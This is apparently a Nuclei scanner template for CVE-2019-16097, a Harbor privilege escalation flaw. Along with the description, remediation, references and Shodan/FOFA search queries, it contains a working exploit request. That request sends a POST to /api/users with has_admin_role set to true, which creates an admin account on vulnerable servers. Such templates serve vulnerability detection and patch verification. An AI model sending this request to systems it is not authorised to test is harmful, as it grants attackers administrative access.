Harbor <=1.82.0 - Privilege Escalation

id: CVE-2019-16097

info:
  name: Harbor <=1.82.0 - Privilege Escalation
  author: pikpikcu
  severity: medium
  description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information.
  remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
  reference:
    - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
    - https://github.com/goharbor/harbor/issues/8951
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16097
    - https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
    - http://www.vmware.com/security/advisories/VMSA-2019-0015.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-16097
    cwe-id: CWE-862
    epss-score: 0.23284
    epss-percentile: 0.97491
    cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: linuxfoundation
    product: harbor
    shodan-query: http.favicon.hash:657337228
    fofa-query: icon_hash=657337228
  tags: cve,cve2019,intrusive,harbor,linuxfoundation,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/api/users'

    body: |
      {"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "[email protected]", "realname": "poc"}

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "username has already been used"
          - "Location: /api/users/"
        condition: or

      - type: status
        status:
          - 201
          - 409
        condition: or
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